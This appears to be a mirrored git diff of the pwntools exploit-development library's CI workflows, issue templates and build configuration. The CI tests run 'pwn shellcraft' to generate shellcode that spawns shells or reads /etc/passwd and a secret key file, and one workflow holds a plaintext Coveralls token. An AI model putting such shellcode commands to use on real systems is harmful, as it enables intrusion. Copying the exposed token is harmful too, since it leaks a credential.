mirror of
https://github.com/Gallopsled/pwntools.git
synced 2026-11-07 17:14:22 -10:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
f9ac7cc230 |
No files matched your search
@@ -0,0 +1,8 @@
|
||||
[run]
|
||||
branch = True
|
||||
omit =
|
||||
*/constants/*
|
||||
source =
|
||||
pwn
|
||||
pwnlib
|
||||
~/.pwntools-cache/
|
||||
@@ -1,54 +0,0 @@
|
||||
---
|
||||
name: Bug report
|
||||
about: Create a report to help us improve
|
||||
title: ''
|
||||
labels: backport-required, bug
|
||||
assignees: ''
|
||||
|
||||
---
|
||||
|
||||
Thanks for contributing to Pwntools!
|
||||
|
||||
## Update Pwntools First
|
||||
|
||||
When reporting an issue, be sure that you are running the latest released version of pwntools (`pip install --upgrade pwntools`).
|
||||
|
||||
## Debug Output
|
||||
|
||||
Having the extra debug output really helps us, and might help you diagnose the problem yourself.
|
||||
|
||||
When submitting an issue that has output from Pwntools, make sure to run your script as shown below, to enable the extra debugging data.
|
||||
|
||||
```sh
|
||||
$ python exploit.py DEBUG LOG_FILE=log.txt
|
||||
```
|
||||
|
||||
You should see `[DEBUG]` statements that show what's happening behind the scenes:
|
||||
|
||||
```
|
||||
[+] Starting local process '/bin/sh' argv=['sh'] : pid 16823
|
||||
[DEBUG] Sent 0x7 bytes:
|
||||
'whoami\n'
|
||||
[DEBUG] Sent 0x5 bytes:
|
||||
'exit\n'
|
||||
[+] Receiving all data: Done (11B)
|
||||
[DEBUG] Received 0xb bytes:
|
||||
'crashheap\n'
|
||||
[*] Process '/bin/sh' stopped with exit code 0 (pid 16823)
|
||||
```
|
||||
|
||||
## Verify on Ubuntu
|
||||
|
||||
If possible, please verify that your issue occurs on 64-bit Ubuntu 22.04. We provide a Dockerfile based on Ubuntu 22.04 via `docker.io` to make this super simple, no VM required!
|
||||
|
||||
```sh
|
||||
# Download the Docker image
|
||||
$ docker pull pwntools/pwntools:stable
|
||||
|
||||
# Boot the image
|
||||
$ docker run -it pwntools/pwntools:stable
|
||||
|
||||
pwntools@7dc3ef409476:~$ python
|
||||
>>> from pwn import *
|
||||
>>> # Test your code here
|
||||
```
|
||||
@@ -1,18 +0,0 @@
|
||||
---
|
||||
name: Feature request
|
||||
about: Suggest an idea for this project
|
||||
title: ''
|
||||
labels: feature
|
||||
assignees: ''
|
||||
|
||||
---
|
||||
|
||||
Thanks for contributing to Pwntools! Ideas from the community help make Pwntools an amazing tool for everybody.
|
||||
|
||||
If you've got an idea for a new feature, please provide information about:
|
||||
|
||||
* What the feature does
|
||||
* Why the feature should exist
|
||||
* What tests should be included
|
||||
|
||||
If you think you can write the feature yourself, please submit a Pull Request and we can review your changes!
|
||||
@@ -1,18 +0,0 @@
|
||||
---
|
||||
name: Question
|
||||
about: Ask us a question about Pwntools
|
||||
title: ''
|
||||
labels: question
|
||||
assignees: ''
|
||||
|
||||
---
|
||||
|
||||
Thanks for using Pwntools! If you have a question, here are some tips that will make it easier for us to help you.
|
||||
|
||||
## Check the Documentation
|
||||
|
||||
Pwntools has REALLY extensive documentation. Please check there first! https://docs.pwntools.com
|
||||
|
||||
## Debug Output
|
||||
|
||||
If you're having an issue with an exploit, run your script with full debugging output, i.e. `python exploit.py DEBUG`. This may help you to see what's happening under the hood, and the debug output will help to diagnose any issues you're encountering.
|
||||
@@ -25,8 +25,3 @@ You can always [change the branch][change] after you create the PR if it's again
|
||||
[contributing]: https://github.com/Gallopsled/pwntools/blob/dev/CONTRIBUTING.md
|
||||
[testing]: https://github.com/Gallopsled/pwntools/blob/dev/TESTING.md
|
||||
[change]: https://github.com/blog/2224-change-the-base-branch-of-a-pull-request
|
||||
|
||||
## Changelog
|
||||
|
||||
After creating your Pull Request, please add and push a commit that updates the changelog for the appropriate branch.
|
||||
You can look at the existing changelog for examples of how to do this.
|
||||
@@ -1,8 +0,0 @@
|
||||
version: 2
|
||||
updates:
|
||||
|
||||
- package-ecosystem: "github-actions"
|
||||
directory: "/"
|
||||
schedule:
|
||||
# Check for updates to GitHub Actions every week
|
||||
interval: "weekly"
|
||||
@@ -1,70 +0,0 @@
|
||||
name: Android Tests
|
||||
|
||||
on: [push, pull_request]
|
||||
|
||||
jobs:
|
||||
android-test:
|
||||
strategy:
|
||||
matrix:
|
||||
python-version: ['3.10']
|
||||
os: [ubuntu-latest]
|
||||
runs-on: ${{ matrix.os }}
|
||||
timeout-minutes: 30
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
|
||||
- name: Set up Python ${{ matrix.python-version }}
|
||||
uses: actions/setup-python@v5
|
||||
with:
|
||||
python-version: ${{ matrix.python-version }}
|
||||
cache: 'pip'
|
||||
cache-dependency-path: |
|
||||
**/pyproject.toml
|
||||
**/requirements*.txt
|
||||
|
||||
- name: Install Linux dependencies
|
||||
run: |
|
||||
sudo apt-get update
|
||||
sudo apt-get install -y --no-install-recommends -o Acquire::Retries=3 \
|
||||
gdb gdbserver socat \
|
||||
qemu-user-static \
|
||||
binutils-aarch64-linux-gnu \
|
||||
binutils-arm-linux-gnueabihf \
|
||||
libc6-dbg
|
||||
|
||||
- name: Cache for avd
|
||||
uses: actions/cache@v4
|
||||
id: cache-avd
|
||||
with:
|
||||
path: |
|
||||
~/.android
|
||||
/usr/local/lib/android/sdk/emulator
|
||||
/usr/local/lib/android/sdk/platform-tools
|
||||
/usr/local/lib/android/sdk/system-images
|
||||
key: ${{ matrix.os }}-cache-avd-${{ hashFiles('travis/setup_avd*.sh') }}
|
||||
restore-keys: |
|
||||
${{ matrix.os }}-cache-avd-
|
||||
|
||||
- name: Install Android AVD
|
||||
run: |
|
||||
sudo usermod -aG kvm $USER
|
||||
source travis/setup_avd_fast.sh
|
||||
sed -i 's/skip_android = True/skip_android = False/' docs/source/conf.py
|
||||
set | grep ^PATH >.android.env
|
||||
|
||||
- name: Install dependencies
|
||||
run: |
|
||||
pip install --upgrade pip
|
||||
python setup.py egg_info
|
||||
pip install --upgrade --editable .
|
||||
|
||||
- name: Sanity checks
|
||||
run: PWNLIB_NOTERM=1 python -c 'from pwn import *; print(pwnlib.term.term_mode)'
|
||||
|
||||
- name: Install documentation dependencies
|
||||
run: pip install -r docs/requirements.txt
|
||||
|
||||
- name: Coverage Doctests (Android Only)
|
||||
run: |
|
||||
source .android.env
|
||||
PWNLIB_NOTERM=1 coverage run -m sphinx -b doctest docs/source docs/build/doctest docs/source/adb.rst
|
||||
@@ -1,33 +0,0 @@
|
||||
name: Changelog
|
||||
on:
|
||||
pull_request:
|
||||
paths:
|
||||
- pwnlib/**
|
||||
- pwn/**
|
||||
env:
|
||||
GITHUB_BASE: origin/${{ github.event.pull_request.base.ref }}
|
||||
|
||||
jobs:
|
||||
check:
|
||||
strategy:
|
||||
matrix:
|
||||
os: [ubuntu-latest]
|
||||
runs-on: ${{ matrix.os }}
|
||||
timeout-minutes: 5
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
with:
|
||||
fetch-depth: 0
|
||||
|
||||
- name: Check changelog for updates
|
||||
run: |
|
||||
if git log --stat ${GITHUB_BASE}..HEAD | grep CHANGELOG.md; then
|
||||
echo 'Changelog updated :D'
|
||||
else
|
||||
if git log --stat ${GITHUB_BASE}..HEAD pwnlib pwn | grep '++\|--'; then
|
||||
echo 'Major changes detected, changelog required!'
|
||||
false
|
||||
else
|
||||
echo 'Minor changes detected, no changelog required!'
|
||||
fi
|
||||
fi
|
||||
@@ -1,355 +0,0 @@
|
||||
name: Continuous Integration
|
||||
on: [push, pull_request]
|
||||
|
||||
jobs:
|
||||
test:
|
||||
strategy:
|
||||
matrix:
|
||||
python_version: ['3.10', '3.12']
|
||||
os: [ubuntu-latest]
|
||||
include:
|
||||
- python_version: '2.7'
|
||||
os: ubuntu-22.04
|
||||
runs-on: ${{ matrix.os }}
|
||||
timeout-minutes: 30
|
||||
services:
|
||||
libcdb-cache:
|
||||
image: nginx
|
||||
volumes:
|
||||
- /home/runner/libcdb-cache:/var/cache/nginx
|
||||
ports:
|
||||
- 3000:3000 # https://debuginfod.elfutils.org proxy cache
|
||||
- 3001:3001 # https://libc.rip/ proxy cache
|
||||
- 3002:3002 # http://archive.ubuntu.com/ proxy cache
|
||||
- 3003:3003 # https://gitlab.com/ proxy cache
|
||||
- 3004:3004 # https://debuginfod.ubuntu.com/ proxy cache
|
||||
env:
|
||||
DEBUGINFOD_URLS: "http://localhost:3000/ http://localhost:3004/"
|
||||
PWN_LIBCRIP_URL: http://localhost:3001/
|
||||
PWN_UBUNTU_ARCHIVE_URL: http://localhost:3002/
|
||||
PWN_GITLAB_LIBCDB_URL: http://localhost:3003/
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
with:
|
||||
fetch-depth: 20
|
||||
|
||||
- name: Git History
|
||||
run: |
|
||||
git fetch origin
|
||||
git log --oneline --graph -10
|
||||
|
||||
- name: Fix libcdb-cache permissions
|
||||
id: fix-perms
|
||||
run: |
|
||||
sudo chown -R runner:runner /home/runner/libcdb-cache
|
||||
echo "date=$(/bin/date -u "+%Y%m%d%H%M%S")" >> $GITHUB_OUTPUT
|
||||
|
||||
- name: Cache for libcdb requests
|
||||
uses: actions/cache@v4
|
||||
with:
|
||||
path: ~/libcdb-cache
|
||||
key: libcdb-python${{ matrix.python_version }}-${{ steps.fix-perms.outputs.date }}
|
||||
restore-keys: |
|
||||
libcdb-python${{ matrix.python_version }}-
|
||||
libcdb-
|
||||
|
||||
- name: Install libcdb-cache service config
|
||||
run: |
|
||||
sudo chown -R 101:101 /home/runner/libcdb-cache
|
||||
container_id=$(docker ps --all --filter volume=/home/runner/libcdb-cache --no-trunc --format "{{.ID}}")
|
||||
docker cp ./travis/libcdb_nginx_cache.conf $container_id:/etc/nginx/nginx.conf
|
||||
docker restart $container_id
|
||||
|
||||
- name: Install RPyC for gdb
|
||||
run: |
|
||||
# The version packaged in python3-rpyc is too old on Ubuntu 24.04
|
||||
# We use ^6.0 from pip.
|
||||
sudo apt-get update && sudo apt-get install -y python3-pip gdb gdbserver
|
||||
/usr/bin/python -m pip install --break-system-packages rpyc || /usr/bin/python -m pip install rpyc
|
||||
gdb --batch --quiet --nx --nh --ex 'py import rpyc; print(rpyc.version.version)'
|
||||
|
||||
- name: Cache for pip
|
||||
uses: actions/cache@v4
|
||||
if: matrix.python_version == '2.7'
|
||||
with:
|
||||
path: ~/.cache/pip
|
||||
key: ${{ matrix.os }}-${{ matrix.python_version }}-cache-pip-${{ hashFiles('**/pyproject.toml', '**/requirements*.txt') }}
|
||||
restore-keys: ${{ matrix.os }}-${{ matrix.python_version }}-cache-pip-
|
||||
|
||||
- name: Set up Python ${{ matrix.python_version }}
|
||||
if: matrix.python_version != '2.7'
|
||||
uses: actions/setup-python@v5
|
||||
with:
|
||||
python-version: ${{ matrix.python_version }}
|
||||
cache: 'pip'
|
||||
cache-dependency-path: |
|
||||
**/pyproject.toml
|
||||
**/requirements*.txt
|
||||
|
||||
- name: Set up Python 2.7
|
||||
if: matrix.python_version == '2.7'
|
||||
run: |
|
||||
sudo apt-get update
|
||||
sudo apt-get install -y \
|
||||
python2.7 python2.7-dev python2-pip-whl
|
||||
sudo ln -sf python2.7 /usr/bin/python
|
||||
export PYTHONPATH=`echo /usr/share/python-wheels/pip-*py2*.whl`
|
||||
sudo --preserve-env=PYTHONPATH python -m pip install --upgrade pip setuptools wheel
|
||||
sudo chown -R $USER /usr/local/lib/python2.7
|
||||
|
||||
|
||||
- name: Verify tag against version
|
||||
if: github.event_name == 'push' && startsWith(github.event.ref, 'refs/tags')
|
||||
env:
|
||||
GITHUB_REF: ${{ github.event.ref }}
|
||||
run: |
|
||||
set -x
|
||||
GITHUB_TAG=${GITHUB_REF#refs/tags/}
|
||||
echo "$GITHUB_TAG" | grep -E '^[0-9.]*(beta[0-9])?$'
|
||||
vsetup=$(grep -o "version\\s*=\\s*[\"'].*[\"'],$" setup.py | grep -o "[0-9][^\"']*")
|
||||
vpwnlib=$(grep -o "__version__\\s*=\\s*[\"'].*[\"']$" pwnlib/version.py | grep -o "[0-9][^\"']*")
|
||||
[ "$vsetup" = "$vpwnlib" ]
|
||||
[ "$GITHUB_TAG" = "$vsetup" ]
|
||||
|
||||
- name: Install Linux dependencies
|
||||
run: |
|
||||
sudo apt-get update
|
||||
sudo apt-get install -y --no-install-recommends -o Acquire::Retries=3 \
|
||||
ash bash-static dash ksh mksh zsh \
|
||||
gdb gdbserver socat \
|
||||
binutils-multiarch qemu-user-static \
|
||||
binutils-aarch64-linux-gnu \
|
||||
binutils-arm-linux-gnueabihf \
|
||||
binutils-mips-linux-gnu \
|
||||
binutils-mipsel-linux-gnu \
|
||||
binutils-msp430 \
|
||||
binutils-powerpc-linux-gnu \
|
||||
binutils-s390x-linux-gnu \
|
||||
binutils-sparc64-linux-gnu \
|
||||
binutils-riscv64-linux-gnu \
|
||||
gcc-multilib \
|
||||
libc6-dbg \
|
||||
elfutils \
|
||||
patchelf
|
||||
|
||||
- name: Testing Corefiles
|
||||
run: |
|
||||
ulimit -a
|
||||
ulimit -c unlimited
|
||||
cat /proc/sys/kernel/core_pattern
|
||||
cat /proc/sys/kernel/core_uses_pid
|
||||
( cd $(mktemp -d); sh -c 'kill -11 $$' || true; ls -la ./*core* /var/crash/*.crash /var/lib/apport/coredump/core*) || true
|
||||
|
||||
- name: Set up SSH
|
||||
run: |
|
||||
travis/ssh_setup.sh
|
||||
|
||||
- name: Install dependencies
|
||||
run: |
|
||||
pip install --upgrade pip
|
||||
pip install --upgrade wheel build
|
||||
pip install --upgrade flake8 appdirs
|
||||
pip install --upgrade --editable .
|
||||
# Pin to known working version until 2.1.5 is out. https://github.com/unicorn-engine/unicorn/issues/2134
|
||||
pip install 'unicorn==2.1.2'
|
||||
|
||||
- name: Sanity checks
|
||||
run: PWNLIB_NOTERM=1 python -bb -c 'from pwn import *; print(pwnlib.term.term_mode)'
|
||||
|
||||
- name: Install documentation dependencies
|
||||
run: pip install -r docs/requirements.txt
|
||||
|
||||
- name: Manually install non-broken Unicorn
|
||||
if: matrix.python_version == '2.7'
|
||||
run: pip install unicorn==2.0.0rc7
|
||||
|
||||
- name: Disable yama ptrace_scope
|
||||
run: |
|
||||
echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope # required by some gdb doctests
|
||||
|
||||
- name: Coverage doctests
|
||||
run: |
|
||||
# Python version installed using setup-python interferes with gdb's python
|
||||
# by setting LD_LIBRARY_PATH and gdb's python becoming unable to load built-in modules
|
||||
# like _socket. This is a workaround.
|
||||
unset LD_LIBRARY_PATH
|
||||
PWNLIB_NOTERM=1 python -bb -m coverage run -m sphinx -b doctest docs/source docs/build/doctest
|
||||
|
||||
- name: Coverage running examples
|
||||
run: |
|
||||
export TERM=linux
|
||||
set -x
|
||||
python -bb travis/coverage_chdir.py examples/fmtstr examples/fmtstr/exploit.py
|
||||
python -bb travis/coverage_chdir.py examples/fmtstr examples/fmtstr/exploit2.py || : # can fail randomly?
|
||||
python -bb -m coverage run examples/asm.py
|
||||
python -bb -m coverage run examples/asm.py
|
||||
python -bb -m coverage run examples/text.py
|
||||
# for f in examples/sigreturn_corefile_*.py; do coverage run "$f"; done # XXX something is wrong
|
||||
|
||||
- name: Coverage running commandline tools
|
||||
run: |
|
||||
export TERM=linux
|
||||
pwn() { ( set +x; cmd=$1; shift; PYTHONUNBUFFERED=1 exec python -bb -m coverage run -m pwnlib.commandline."$cmd" "$@" ) }
|
||||
set -x
|
||||
|
||||
pwn cyclic 32
|
||||
pwn cyclic -l 0x62616161
|
||||
pwn cyclic -a ab
|
||||
echo
|
||||
|
||||
pwn shellcraft --list |tail
|
||||
pwn shellcraft -l --syscalls |tail
|
||||
pwn shellcraft -l execve
|
||||
pwn shellcraft -l execve + exit
|
||||
pwn shellcraft --show i386.linux.loader_append
|
||||
pwn shellcraft --show i386.linux.loader_append + i386.linux.sh
|
||||
pwn shellcraft -f asm --color amd64.linux.sh
|
||||
pwn shellcraft -f asm --color amd64.linux.setreuid + amd64.linux.cat /etc/passwd
|
||||
pwn shellcraft -f asm --color amd64.linux.setreuid = amd64.linux.cat /key+secret --delim =
|
||||
pwn shellcraft -f elf amd64.linux.syscalls.exit 0 </dev/null |pwn hex
|
||||
pwn shellcraft -f elf amd64.linux.cat /etc/passwd + amd64.linux.syscalls.exit 0 </dev/null |pwn hex
|
||||
pwn shellcraft -f i --color amd64.linux.cat /etc/passwd </dev/null
|
||||
pwn shellcraft -f i --color amd64.linux.cat /etc/passwd + amd64.linux.sh </dev/null
|
||||
pwn shellcraft -f c amd64.linux.syscalls.exit 0 </dev/null
|
||||
pwn shellcraft -f c amd64.linux.cat /etc/passwd + amd64.linux.syscalls.exit 0 </dev/null
|
||||
pwn shellcraft -f str aarch64.linux.sh </dev/null
|
||||
pwn shellcraft -abr -f elf -o /dev/null amd64.linux.cat /etc/passwd </dev/null
|
||||
pwn shellcraft -nzr thumb.linux.syscalls.execve /bin/cat '["/bin/cat", "/etc/os-release"]' </dev/null
|
||||
pwn shellcraft -fp aarch64.trap
|
||||
|
||||
pwn disasm --color ff3424c3ebfe
|
||||
pwn asm -f hex nop
|
||||
|
||||
pwn hex ABCD
|
||||
pwn hex ABCD --separator ' '
|
||||
pwn hex ABCD --prefix '\x'
|
||||
pwn hex ABCD -p '0x' -s ' '
|
||||
|
||||
pwn hex abcd
|
||||
pwn unhex 4141 4141
|
||||
|
||||
cat /dev/urandom | pwn phd --color -c 256 -s 2
|
||||
pwn phd -l 0x3d --color=always /etc/os-release
|
||||
|
||||
pwn checksec /bin/bash
|
||||
(ulimit -v 500000 && pwn checksec /bin/bash)
|
||||
|
||||
pwn errno 2
|
||||
pwn errno -1
|
||||
pwn errno EADDRINUSE
|
||||
|
||||
pwn constgrep -c freebsd -m ^PROT_ '3 + 4'
|
||||
pwn constgrep ^MAP_ 0
|
||||
pwn constgrep -e O_RDWR
|
||||
pwn constgrep C
|
||||
|
||||
pwn libcdb file /lib/x86_64-linux-gnu/libc.so.6
|
||||
pwn libcdb lookup puts 5f0 __libc_start_main_ret d0a
|
||||
pwn libcdb hash b229d1da1e161f95e839cf90cded5f719e5de308
|
||||
|
||||
- name: Build source and wheel distributions
|
||||
if: matrix.python_version != '2.7'
|
||||
run: |
|
||||
python -m build
|
||||
|
||||
- uses: actions/upload-artifact@v4
|
||||
if: matrix.python_version == '3.10'
|
||||
with:
|
||||
name: packages
|
||||
path: dist/
|
||||
include-hidden-files: true
|
||||
|
||||
- uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: coverage-${{ matrix.python_version }}
|
||||
path: .coverage*
|
||||
include-hidden-files: true
|
||||
|
||||
- name: Fix libcdb-cache permissions
|
||||
run: |
|
||||
container_id=$(docker ps --filter volume=/home/runner/libcdb-cache --no-trunc --format "{{.ID}}")
|
||||
docker stop $container_id
|
||||
sudo chown -R runner:runner /home/runner/libcdb-cache
|
||||
|
||||
windows-test:
|
||||
runs-on: windows-latest
|
||||
timeout-minutes: 30
|
||||
continue-on-error: true
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
|
||||
- name: Set up Python 3.12
|
||||
uses: actions/setup-python@v5
|
||||
with:
|
||||
python-version: '3.12'
|
||||
|
||||
- name: Install dependencies
|
||||
run: |
|
||||
pip install --upgrade pip
|
||||
pip install --upgrade --editable .
|
||||
|
||||
- name: Sanity checks
|
||||
run: |
|
||||
python -bb -c 'from pwn import *'
|
||||
python -bb examples/text.py
|
||||
|
||||
upload-coverage:
|
||||
runs-on: ubuntu-latest
|
||||
needs: test
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
with:
|
||||
fetch-depth: 20
|
||||
|
||||
- uses: actions/download-artifact@v4
|
||||
with:
|
||||
pattern: coverage-*
|
||||
merge-multiple: true
|
||||
|
||||
- name: Install coveralls
|
||||
run: |
|
||||
pip install --break-system-packages tomli coveralls || pip install tomli coveralls
|
||||
|
||||
- name: Upload coverage to coveralls.io
|
||||
run: |
|
||||
coverage combine
|
||||
COVERALLS_REPO_TOKEN=PP20MEgztXIQJJTguQwe2jeCh6Bm4lkbv coveralls
|
||||
|
||||
|
||||
staging-merge:
|
||||
runs-on: ubuntu-latest
|
||||
if: github.repository_owner == 'Gallopsled' && github.event_name == 'push' && startsWith(github.event.ref, 'refs/heads/') && endsWith(github.event.ref, '-staging')
|
||||
needs: test
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
with:
|
||||
fetch-depth: 20
|
||||
- name: Push changes to protected branch
|
||||
env:
|
||||
GITHUB_REF: ${{ github.event.ref }}
|
||||
run: |
|
||||
BRANCH=${GITHUB_REF#refs/heads/}
|
||||
TARGET=${BRANCH%-staging}
|
||||
git branch -f "$TARGET"
|
||||
git push origin "$TARGET"
|
||||
git push origin --delete "$BRANCH"
|
||||
|
||||
|
||||
pypi:
|
||||
runs-on: ubuntu-latest
|
||||
if: github.event_name == 'push' && startsWith(github.event.ref, 'refs/tags')
|
||||
permissions:
|
||||
id-token: write
|
||||
needs: test
|
||||
steps:
|
||||
- name: Download artifacts
|
||||
uses: actions/download-artifact@v4
|
||||
with:
|
||||
name: packages
|
||||
path: dist
|
||||
|
||||
- name: Publish package
|
||||
uses: pypa/gh-action-pypi-publish@release/v1
|
||||
|
||||
- if: failure()
|
||||
run: ls -R
|
||||
@@ -1,64 +0,0 @@
|
||||
name: Publish Docker images
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- dev
|
||||
- beta
|
||||
- stable
|
||||
workflow_dispatch:
|
||||
jobs:
|
||||
publish:
|
||||
runs-on: ubuntu-latest
|
||||
if: github.repository_owner == 'Gallopsled'
|
||||
steps:
|
||||
# Required for subdirectories in Git context
|
||||
- name: Set up Docker Buildx
|
||||
uses: docker/setup-buildx-action@v3
|
||||
|
||||
- name: Login to Docker Hub
|
||||
uses: docker/login-action@v3
|
||||
with:
|
||||
username: ${{ secrets.DOCKERHUB_USERNAME }}
|
||||
password: ${{ secrets.DOCKERHUB_PASSWORD }}
|
||||
|
||||
- name: Build and push base image
|
||||
uses: docker/build-push-action@v6
|
||||
if: github.event_name == 'workflow_dispatch'
|
||||
with:
|
||||
context: "{{defaultContext}}:extra/docker/base"
|
||||
push: true
|
||||
tags: pwntools/pwntools:base
|
||||
|
||||
- name: Build and push stable image
|
||||
uses: docker/build-push-action@v6
|
||||
if: github.event_name == 'workflow_dispatch' || (github.event_name == 'push' && github.ref == 'refs/heads/stable')
|
||||
with:
|
||||
context: "{{defaultContext}}:extra/docker/stable"
|
||||
push: true
|
||||
tags: pwntools/pwntools:stable
|
||||
|
||||
- name: Build and push beta image
|
||||
uses: docker/build-push-action@v6
|
||||
if: github.event_name == 'workflow_dispatch' || (github.event_name == 'push' && github.ref == 'refs/heads/beta')
|
||||
with:
|
||||
context: "{{defaultContext}}:extra/docker/beta"
|
||||
push: true
|
||||
tags: pwntools/pwntools:beta
|
||||
|
||||
- name: Build and push dev image
|
||||
uses: docker/build-push-action@v6
|
||||
if: github.event_name == 'workflow_dispatch' || (github.event_name == 'push' && github.ref == 'refs/heads/dev')
|
||||
with:
|
||||
context: "{{defaultContext}}:extra/docker/dev"
|
||||
push: true
|
||||
tags: |
|
||||
pwntools/pwntools:dev
|
||||
pwntools/pwntools:latest
|
||||
|
||||
- name: Build and push ci image
|
||||
uses: docker/build-push-action@v6
|
||||
if: github.event_name == 'workflow_dispatch' || (github.event_name == 'push' && github.ref == 'refs/heads/dev')
|
||||
with:
|
||||
context: "{{defaultContext}}:travis/docker"
|
||||
push: true
|
||||
tags: pwntools/pwntools:ci
|
||||
@@ -1,33 +0,0 @@
|
||||
name: Lint
|
||||
on: [push, pull_request]
|
||||
|
||||
jobs:
|
||||
lint:
|
||||
strategy:
|
||||
matrix:
|
||||
python-version: ['3.10']
|
||||
os: [ubuntu-latest]
|
||||
runs-on: ${{ matrix.os }}
|
||||
timeout-minutes: 30
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
|
||||
- name: Set up Python ${{ matrix.python-version }}
|
||||
uses: actions/setup-python@v5
|
||||
with:
|
||||
python-version: ${{ matrix.python-version }}
|
||||
cache: 'pip'
|
||||
cache-dependency-path: |
|
||||
**/pyproject.toml
|
||||
**/requirements*.txt
|
||||
|
||||
- name: Critical lint
|
||||
run: |
|
||||
pip install flake8
|
||||
flake8 . --count --select=E9,F63,F7,E71 --show-source --statistics --exclude=android-?dk # TODO: Add F82
|
||||
|
||||
- name: Style lint
|
||||
run: |
|
||||
flake8 pwnlib setup.py docs travis --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics
|
||||
flake8 examples --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics --ignore='F403,F405'
|
||||
flake8 pwn --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics --ignore='F401,F403,F405'
|
||||
@@ -1,30 +0,0 @@
|
||||
name: Check for merge markers
|
||||
on:
|
||||
pull_request:
|
||||
types: [synchronize]
|
||||
env:
|
||||
GITHUB_BASE: origin/${{ github.event.pull_request.base.ref }}
|
||||
|
||||
jobs:
|
||||
mergecheck:
|
||||
strategy:
|
||||
matrix:
|
||||
os: [ubuntu-latest]
|
||||
runs-on: ${{ matrix.os }}
|
||||
timeout-minutes: 5
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
with:
|
||||
fetch-depth: 0
|
||||
|
||||
- name: Check for merge conflict markers commited
|
||||
run: |
|
||||
if git show ${GITHUB_BASE}..HEAD | grep -EB15 --color=always '^\+\+(>>>>>|=====|<<<<<)'; then
|
||||
echo 'WARNING: Merge marker commits found in history.'
|
||||
if git diff ${GITHUB_BASE}..HEAD | grep -EB15 --color=always '^\+(>>>>>|=====|<<<<<)'; then
|
||||
echo 'ERROR: Merge markers still present! Do something!'
|
||||
exit 1
|
||||
fi
|
||||
else
|
||||
echo 'Congrats! All the merges you did were clean or resolved correctly :)'
|
||||
fi
|
||||
@@ -1,36 +0,0 @@
|
||||
name: PyLint
|
||||
on: [pull_request]
|
||||
|
||||
jobs:
|
||||
build:
|
||||
strategy:
|
||||
matrix:
|
||||
python-version: ['3.10']
|
||||
os: [ubuntu-latest]
|
||||
runs-on: ${{ matrix.os }}
|
||||
timeout-minutes: 30
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
|
||||
- name: Set up Python ${{ matrix.python-version }}
|
||||
uses: actions/setup-python@v5
|
||||
with:
|
||||
python-version: ${{ matrix.python-version }}
|
||||
cache: 'pip'
|
||||
cache-dependency-path: |
|
||||
**/pyproject.toml
|
||||
**/requirements*.txt
|
||||
|
||||
- name: PyLint
|
||||
run: |
|
||||
set -x
|
||||
pip install 'pylint<4'
|
||||
pip install --upgrade -e .
|
||||
run_pylint() { pylint --exit-zero --errors-only pwnlib -f parseable | cut -d ' ' -f2- | sed 's/line [0-9]\+/line XXXX/g'; }
|
||||
run_pylint > current.txt
|
||||
git fetch origin
|
||||
git checkout origin/"$GITHUB_BASE_REF"
|
||||
run_pylint > base.txt
|
||||
if diff base.txt current.txt | grep '>'; then
|
||||
false
|
||||
fi
|
||||
+1
-8
@@ -11,14 +11,7 @@ docs/build
|
||||
build
|
||||
MANIFEST
|
||||
dist
|
||||
venv
|
||||
.vscode
|
||||
.idea
|
||||
*.egg-info
|
||||
*.core
|
||||
.coverage
|
||||
.coverage.*
|
||||
.idea
|
||||
__pycache__
|
||||
!.github
|
||||
.DS_Store
|
||||
.tox
|
||||
@@ -1,15 +0,0 @@
|
||||
# https://docs.readthedocs.io/en/stable/config-file/v2.html
|
||||
|
||||
version: 2
|
||||
|
||||
build:
|
||||
os: ubuntu-22.04
|
||||
tools:
|
||||
python: "3.12"
|
||||
|
||||
sphinx:
|
||||
configuration: docs/source/conf.py
|
||||
|
||||
python:
|
||||
install:
|
||||
- requirements: docs/requirements.txt
|
||||
+43
@@ -0,0 +1,43 @@
|
||||
dist: precise
|
||||
language: python
|
||||
addons:
|
||||
apt:
|
||||
packages:
|
||||
- gcc-multilib
|
||||
- lib32stdc++6
|
||||
- ash
|
||||
- bash
|
||||
- dash
|
||||
- ksh
|
||||
- mksh
|
||||
- zsh
|
||||
- pandoc
|
||||
- gdb
|
||||
cache:
|
||||
- pip
|
||||
- directories:
|
||||
- usr
|
||||
- /home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/
|
||||
- /home/travis/virtualenv/python2.7.13/bin/
|
||||
python:
|
||||
- "2.7"
|
||||
before_install:
|
||||
- echo $-
|
||||
- source travis/install.sh
|
||||
- source travis/ssh_setup.sh
|
||||
- echo $-
|
||||
install:
|
||||
- pip install --upgrade pip
|
||||
- pip install --upgrade appdirs # https://github.com/ActiveState/appdirs/issues/89#issuecomment-282326570
|
||||
- pip install --upgrade --editable .
|
||||
- pip install --upgrade --requirement docs/requirements.txt
|
||||
before_script:
|
||||
- PWNLIB_NOTERM=1 python -c 'from pwn import *; print pwnlib.term.term_mode'
|
||||
- PWNLIB_NOTERM=1 python -c 'from pwn import *; print pwnlib.term.term_mode'
|
||||
- PWNLIB_NOTERM=1 python -c 'from pwn import *; print pwnlib.term.term_mode'
|
||||
- PWNLIB_NOTERM=1 python -c 'from pwn import *; print pwnlib.term.term_mode'
|
||||
script:
|
||||
- PWNLIB_NOTERM=1 coverage run -m sphinx -b doctest docs/source docs/build/doctest
|
||||
after_success:
|
||||
- coveralls
|
||||
- source travis/update_demo.sh
|
||||
+5
-815
@@ -9,43 +9,9 @@ The table below shows which release corresponds to each branch, and what date th
|
||||
|
||||
| Version | Branch | Release Date |
|
||||
| ---------------- | -------- | ---------------------- |
|
||||
| [5.0.0](#500-dev) | `dev` |
|
||||
| [4.15.0](#4150-stable) | `stable` | Oct 12, 2025
|
||||
